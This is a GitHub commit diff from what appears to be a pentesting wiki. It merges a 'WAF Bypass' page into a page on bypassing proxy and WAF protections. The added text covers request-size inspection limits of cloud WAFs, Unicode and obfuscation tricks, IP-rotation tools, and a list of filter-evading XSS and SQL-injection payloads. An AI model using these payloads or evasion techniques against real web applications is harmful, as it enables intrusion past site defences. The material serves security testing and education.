Skip to content

Commit 207b200

Browse files
carlospolopgitbook-bot
authored andcommitted
GITBOOK-4343: No subject
1 parent b007a3d commit 207b200

File tree

3 files changed

+90
-108
lines changed

3 files changed

+90
-108
lines changed

SUMMARY.md

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -425,7 +425,6 @@
425425
* [Basic Tomcat Info](network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md)
426426
* [Uncovering CloudFlare](network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
427427
* [VMWare (ESX, VCenter...)](network-services-pentesting/pentesting-web/vmware-esx-vcenter....md)
428-
* [WAF Bypass](network-services-pentesting/pentesting-web/waf-bypass.md)
429428
* [Web API Pentesting](network-services-pentesting/pentesting-web/web-api-pentesting.md)
430429
* [WebDav](network-services-pentesting/pentesting-web/put-method-webdav.md)
431430
* [Werkzeug / Flask Debug](network-services-pentesting/pentesting-web/werkzeug.md)

network-services-pentesting/pentesting-web/waf-bypass.md

Lines changed: 0 additions & 106 deletions
This file was deleted.

pentesting-web/proxy-waf-protections-bypass.md

Lines changed: 90 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -121,11 +121,100 @@ Connection: close\r\n
121121

122122
It was possible to bypass AWS WAF because it wouldn't understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).
123123

124+
## Generic WAF bypasses
125+
126+
### Request Size Limits
127+
128+
Commonly WAFs have a certain length limit of requests to check and if a POST/PUT/PATCH request is over it, the WAF won't check the request.
129+
130+
* For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
131+
132+
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maximum size of a web request body that can be inspected for Application Load Balancer and AWS AppSync protections</td><td>8 KB</td></tr><tr><td>Maximum size of a web request body that can be inspected for CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections**</td><td>64 KB</td></tr></tbody></table>
133+
134+
* From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
135+
136+
Older Web Application Firewalls with Core Rule Set 3.1 (or lower) allow messages larger than **128 KB** by turning off request body inspection, but these messages won't be checked for vulnerabilities. For newer versions (Core Rule Set 3.2 or newer), the same can be done by disabling the maximum request body limit. When a request exceeds the size limit:
137+
138+
If p**revention mode**: Logs and blocks the request.\
139+
If **detection mode**: Inspects up to the limit, ignores the rest, and logs if the `Content-Length` exceeds the limit.
140+
141+
* From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en\_US)**:**
142+
143+
By default, the WAF inspects only the first 8KB of a request. It can increase the limit up to 128KB by adding Advanced Metadata.
144+
145+
* From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
146+
147+
Up to 128KB.
148+
149+
### Obfuscation <a href="#obfuscation" id="obfuscation"></a>
150+
151+
```bash
152+
# IIS, ASP Clasic
153+
<%s%cr%u0131pt> == <script>
154+
155+
# Path blacklist bypass - Tomcat
156+
/path1/path2/ == ;/path1;foo/path2;bar/;
157+
```
158+
159+
### Unicode Compatability <a href="#unicode-compatability" id="unicode-compatability"></a>
160+
161+
Depending on the implementation of Unicode normalization (more info [here](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode)), characters that share Unicode compatability may be able to bypass the WAF and execute as the intended payload. Compatible characters can be found [here](https://www.compart.com/en/unicode).
162+
163+
#### Example <a href="#example" id="example"></a>
164+
165+
```bash
166+
# under the NFKD normalization algorithm, the characters on the left translate
167+
# to the XSS payload on the right
168+
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
169+
```
170+
171+
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
172+
173+
{% content-ref url="h2c-smuggling.md" %}
174+
[h2c-smuggling.md](h2c-smuggling.md)
175+
{% endcontent-ref %}
176+
177+
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
178+
179+
* [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generate an API gateway URL to by used with ffuf
180+
* [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similar to fireprox
181+
* [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite plugin that uses API gateway IPs
182+
* [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): A dynamically determined number of container instances are activated based on the input file size and split factor, with the input split into chunks for parallel execution, such as 100 instances processing 100 chunks from a 10,000-line input file with a split factor of 100 lines.
183+
184+
### Regex Bypasses
185+
186+
Different techniques can be used to bypass the regex filters on the firewalls. Examples include alternating case, adding line breaks, and encoding payloads. Resources for the various bypasses can be found at [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) and [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html). The examples below were pulled from [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
187+
188+
```bash
189+
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
190+
<<script>alert(XSS)</script> #prepending an additional "<"
191+
<script>alert(XSS) // #removing the closing tag
192+
<script>alert`XSS`</script> #using backticks instead of parenetheses
193+
java%0ascript:alert(1) #using encoded newline characters
194+
<iframe src=http://malicous.com < #double open angle brackets
195+
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
196+
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
197+
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
198+
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
199+
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
200+
<iframe src="javascript:alert(`xss`)"> #unicode encoding
201+
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
202+
new Function`alt\`6\``; #using backticks instead of parentheses
203+
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
204+
%26%2397;lert(1) #using HTML encoding
205+
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
206+
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
207+
```
208+
209+
## Tools
210+
211+
* [**nowafpls**](https://github.com/assetnote/nowafpls): Burp plugin to add junk data to requests to bypass WAFs by length
212+
124213
## References
125214
126215
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
127216
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
128-
217+
* [https://www.youtube.com/watch?v=0OMmWtU2Y\_g](https://www.youtube.com/watch?v=0OMmWtU2Y\_g)
129218
130219
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
131220

0 commit comments

Comments
 (0)